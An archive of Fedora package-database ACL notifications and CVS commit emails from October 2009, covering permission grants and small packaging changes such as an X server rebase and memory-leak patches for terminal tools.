  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:16 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042317.27F6410F8C2@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:20 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042320.7FA9410F8C4@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:20 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042320.99A7310F8C7@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:23 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042323.4888910F8CD@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:23:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:23:23 +0000
Subject: [pkgdb] publican had acl change status
Message-ID: <20091005042323.CC00110F8C9@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:35 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042435.D7CBA10F88E@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:37 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042437.75E4010F895@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:39 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042439.99C2410F89C@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:41 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042441.6E56310F8A3@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora devel) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:44 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042444.BACF510F8A4@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:46 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042446.868D610F8AC@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:46 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042446.B5C0710F8AB@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:47 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042447.C271710F8AD@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora EPEL 4) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:50 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042450.6473010F8AF@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:50 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042451.024E010F8B1@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:52 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042452.899C510F8B2@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:53 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042453.D755810F8B3@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora EPEL 5) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:58 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042458.A4B0210F8A4@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:24:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:24:58 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042458.B8DCE10F8AB@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:00 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042500.747F610F8B4@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:02 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042502.4CC6710F8AF@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora 10) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:03 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042503.E4C4C10F8B8@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:04 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042505.2A8B510F8A3@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:06 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042506.20DDE10F8BA@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:07 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042507.4FB8410F8BF@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora 11) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:10 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042510.5BF7710F8C0@bastion2.fedora.phx.redhat.com>

jfearn has set the watchbugzilla acl on publican-fedora (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:10 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042510.8918110F8C3@bastion2.fedora.phx.redhat.com>

jfearn has set the watchcommits acl on publican-fedora (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:11 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042511.D3B3610F895@bastion2.fedora.phx.redhat.com>

jfearn has set the commit acl on publican-fedora (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 04:25:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 04:25:13 +0000
Subject: [pkgdb] publican-fedora had acl change status
Message-ID: <20091005042513.174B110F8C4@bastion2.fedora.phx.redhat.com>

jfearn has set the approveacls acl on publican-fedora (Fedora 12) to Approved for rlandmann

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From airlied at fedoraproject.org  Mon Oct  5 04:31:14 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Mon,  5 Oct 2009 04:31:14 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12 .cvsignore, 1.77, 1.78 sources, 1.72,
	1.73 xorg-x11-server.spec, 1.491,
	1.492 xserver-1.6.99-exa-infinite-loop.patch, 1.1,
	NONE xserver-1.6.99-rotate-wrapping-fix.patch, 1.1, NONE
Message-ID: <20091005043114.2A79C11C0298@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17121

Modified Files:
	.cvsignore sources xorg-x11-server.spec 
Removed Files:
	xserver-1.6.99-exa-infinite-loop.patch 
	xserver-1.6.99-rotate-wrapping-fix.patch 
Log Message:
* Mon Oct 05 2009 Dave Airlie <airlied at redhat.com> 1.7.0-1
- rebase to 1.7.0 upstream release - were 99% this already



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/.cvsignore,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- .cvsignore	28 Sep 2009 12:10:42 -0000	1.77
+++ .cvsignore	5 Oct 2009 04:31:11 -0000	1.78
@@ -1 +1 @@
-xorg-server-1.6.99.903.tar.bz2
+xorg-server-1.7.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/sources,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- sources	28 Sep 2009 12:10:42 -0000	1.72
+++ sources	5 Oct 2009 04:31:11 -0000	1.73
@@ -1 +1 @@
-3a2f20ebbeeae5c13f7a78df314b1164  xorg-server-1.6.99.903.tar.bz2
+e0b70d3d542959f677210172d2b0f237  xorg-server-1.7.0.tar.bz2


Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.491
retrieving revision 1.492
diff -u -p -r1.491 -r1.492
--- xorg-x11-server.spec	1 Oct 2009 05:57:08 -0000	1.491
+++ xorg-x11-server.spec	5 Oct 2009 04:31:11 -0000	1.492
@@ -18,8 +18,8 @@
 
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
-Version:   1.6.99.903
-Release:   2%{dist}
+Version:   1.7.0
+Release:   1%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -73,10 +73,6 @@ Patch6030: xserver-1.6.99-right-of.patch
 Patch6033: xserver-1.6.99-default-modes.patch
 Patch6044: xserver-1.6.99-hush-prerelease-warning.patch
 
-# upstream already
-Patch7000: xserver-1.6.99-rotate-wrapping-fix.patch
-Patch7001: xserver-1.6.99-exa-infinite-loop.patch
-
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
 %define sdkdir		%{_includedir}/xorg
@@ -504,6 +500,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Mon Oct 05 2009 Dave Airlie <airlied at redhat.com> 1.7.0-1
+- rebase to 1.7.0 upstream release - were 99% this already
+
 * Thu Oct 01 2009 Dave Airlie <airlied at redhat.com> 1.6.99.903-2
 - backport EXA and rotate crash fixes
 


--- xserver-1.6.99-exa-infinite-loop.patch DELETED ---


--- xserver-1.6.99-rotate-wrapping-fix.patch DELETED ---



From braden at fedoraproject.org  Mon Oct  5 04:33:04 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Mon,  5 Oct 2009 04:33:04 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.75,1.76
Message-ID: <20091005043304.CDF0F11C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17685

Modified Files:
	openvrml.spec 
Log Message:
Separate the Java and JavaScript scripting backends into subpackages.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- openvrml.spec	28 Sep 2009 15:33:50 -0000	1.75
+++ openvrml.spec	5 Oct 2009 04:33:04 -0000	1.76
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        VRML/X3D runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -24,8 +24,6 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
-Requires:       xulrunner%{?_isa} >= 1.9.1
-Requires:       java-1.6.0-openjdk%{?_isa}
 
 %description
 OpenVRML is a VRML/X3D support library, including a runtime and facilities
@@ -42,6 +40,22 @@ Requires:       boost-devel%{?_isa} >= 1
 Headers that programmers will need to develop C++ programs using
 OpenVRML.
 
+%package javascript
+Summary:        Script node JavaScript support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       xulrunner%{?_isa} >= 1.9.1
+%description javascript
+A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
+
+%package java
+Summary:        Script node Java support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       java-1.6.0-openjdk%{?_isa}
+%description java
+A Java scripting engine for OpenVRML.
+
 %package gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
@@ -132,7 +146,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_libdir}/openvrml/node
 %{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
-%{_libdir}/openvrml/script/*.so
 
 %files devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
@@ -144,6 +157,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
 
+%files javascript
+%{_libdir}/openvrml/script/javascript.so
+
+%files java
+%{_libdir}/openvrml/script/java.so
+
 
 %post gl -p /sbin/ldconfig
 
@@ -188,6 +207,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Mon Oct 5 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
+- Separate the Java and JavaScript scripting backends into subpackages.
+
 * Mon Sep 28 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-5
 - Reqire mesa-libGLU-devel since there is no arch-specific libGLU-devel.
 



From mclasen at fedoraproject.org  Mon Oct  5 04:39:11 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 04:39:11 +0000 (UTC)
Subject: rpms/nautilus-open-terminal/F-12 leak.patch, NONE,
	1.1 nautilus-open-terminal.spec, 1.34, 1.35
Message-ID: <20091005043912.2642011C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/nautilus-open-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19330

Modified Files:
	nautilus-open-terminal.spec 
Added Files:
	leak.patch 
Log Message:
Plug a small leak


leak.patch:
 eel-gnome-extensions.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE leak.patch ---
diff -up nautilus-open-terminal-0.17/src/eel-gnome-extensions.c.leak nautilus-open-terminal-0.17/src/eel-gnome-extensions.c
--- nautilus-open-terminal-0.17/src/eel-gnome-extensions.c.leak	2009-10-05 00:33:09.578719889 -0400
+++ nautilus-open-terminal-0.17/src/eel-gnome-extensions.c	2009-10-05 00:33:38.925721117 -0400
@@ -61,6 +61,7 @@ try_terminal_command (const char *progra
 	}
 
 	quoted = g_shell_quote (program_in_path);
+	g_free (program_in_path);
 	if (args == NULL || args[0] == '\0') {
 		return quoted;
 	}


Index: nautilus-open-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nautilus-open-terminal/F-12/nautilus-open-terminal.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- nautilus-open-terminal.spec	11 Aug 2009 05:28:23 -0000	1.34
+++ nautilus-open-terminal.spec	5 Oct 2009 04:39:10 -0000	1.35
@@ -1,6 +1,6 @@
 Name:           nautilus-open-terminal
 Version:        0.17
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:        Nautilus extension for an open terminal shortcut
 
 Group:          User Interface/Desktops
@@ -15,18 +15,21 @@ BuildRequires:	libtool automake autoconf
 # need extensions
 BuildRequires:	nautilus-devel
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597376
+Patch0: leak.patch
 
-%description 
+%description
 The nautilus-open-terminal extension provides a right-click "Open
 Terminal" option for nautilus users who prefer that option.
 
 %prep
 %setup -q
+%patch0 -p1 -b .leak
 libtoolize --force --copy
 autoreconf
 
 %build
-%configure 
+%configure
 make %{?_smp_mflags}
 
 
@@ -57,6 +60,9 @@ gconftool-2 \
 %{_libdir}/nautilus/extensions-2.0/*.so*
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 0.17-2
+- Plug a small leak
+
 * Tue Aug 11 2009 Matthias Clasen <mclasen at redhat.com> - 0.17-1
 - Update to 0.17
 



From pkgdb at fedoraproject.org  Mon Oct  5 05:09:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 05:09:28 +0000
Subject: [pkgdb] system-config-samba: scastell has requested watchcommits
Message-ID: <20091005050928.533F410F88E@bastion2.fedora.phx.redhat.com>

scastell has requested the watchcommits acl on system-config-samba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/system-config-samba



From mclasen at fedoraproject.org  Mon Oct  5 05:09:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 05:09:53 +0000 (UTC)
Subject: rpms/gnome-terminal/F-12 leak.patch, NONE, 1.1 gnome-terminal.spec, 
	1.129, 1.130
Message-ID: <20091005050953.93E5E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26674

Modified Files:
	gnome-terminal.spec 
Added Files:
	leak.patch 
Log Message:
Fix a small leak


leak.patch:
 terminal-util.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE leak.patch ---
diff -up gnome-terminal-2.28.0/src/terminal-util.c.leak gnome-terminal-2.28.0/src/terminal-util.c
--- gnome-terminal-2.28.0/src/terminal-util.c.leak	2009-10-05 00:59:25.188970971 -0400
+++ gnome-terminal-2.28.0/src/terminal-util.c	2009-10-05 00:59:57.488726753 -0400
@@ -118,6 +118,8 @@ terminal_util_show_error_dialog (GtkWind
 
       gtk_window_present (GTK_WINDOW (*weak_ptr));
     }
+
+  g_free (message);
 }
 
 static gboolean


Index: gnome-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-terminal/F-12/gnome-terminal.spec,v
retrieving revision 1.129
retrieving revision 1.130
diff -u -p -r1.129 -r1.130
--- gnome-terminal.spec	22 Sep 2009 00:46:54 -0000	1.129
+++ gnome-terminal.spec	5 Oct 2009 05:09:51 -0000	1.130
@@ -11,7 +11,7 @@
 Summary: Terminal emulator for GNOME
 Name: gnome-terminal
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
 URL: http://www.gnome.org/
@@ -22,6 +22,8 @@ Source1: profile-new-dialog.ui
 Patch2: gnome-terminal-2.15.0-338913-revert-336325.patch
 # From upstream trunk
 Patch3: tab-switching.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=597378
+Patch4: leak.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -56,6 +58,7 @@ clickable URLs.
 %setup -q
 %patch2 -p1 -b .338913-revert-336325
 %patch3 -p1 -b .tab-switching
+%patch4 -p1 -b .leak
 
 %build
 
@@ -136,6 +139,9 @@ scrollkeeper-update -q
 %{_sysconfdir}/gconf/schemas/gnome-terminal.schemas
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
+- Fix a small memory leak
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:41 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested commit
Message-ID: <20091005063441.41CEF10F88E@bastion2.fedora.phx.redhat.com>

itamarjp has requested the commit acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:42 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchcommits
Message-ID: <20091005063442.257DA10F894@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchcommits acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:46 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchbugzilla
Message-ID: <20091005063446.E9F5110F89C@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchbugzilla acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:47 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested approveacls
Message-ID: <20091005063447.2C87C10F8A3@bastion2.fedora.phx.redhat.com>

itamarjp has requested the approveacls acl on dnsmasq (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:51 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchcommits
Message-ID: <20091005063451.832A110F88F@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchcommits acl on dnsmasq (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:34:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:34:54 +0000
Subject: [pkgdb] dnsmasq: itamarjp has given up watchcommits
Message-ID: <20091005063454.BDF3B10F894@bastion2.fedora.phx.redhat.com>

itamarjp has given up the watchcommits acl on dnsmasq (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 06:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 06:35:08 +0000
Subject: [pkgdb] dnsmasq: itamarjp has requested watchbugzilla
Message-ID: <20091005063508.92F9410F88F@bastion2.fedora.phx.redhat.com>

itamarjp has requested the watchbugzilla acl on dnsmasq (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From rlandmann at fedoraproject.org  Mon Oct  5 06:35:02 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Mon,  5 Oct 2009 06:35:02 +0000 (UTC)
Subject: rpms/publican-fedora/devel import.log, NONE, 1.1 .cvsignore, 1.10, 
	1.11 publican-fedora.spec, 1.11, 1.12 sources, 1.10, 1.11
Message-ID: <20091005063503.134E911C00DB@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17496/devel

Modified Files:
	.cvsignore publican-fedora.spec sources 
Added Files:
	import.log 
Log Message:
* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
- Add Fedora logos with correct trademarks. BZ #492041
- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
- Translate Fedora Feedback into Ukrainian
- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
- Translate Fedora Feedback into Finnish
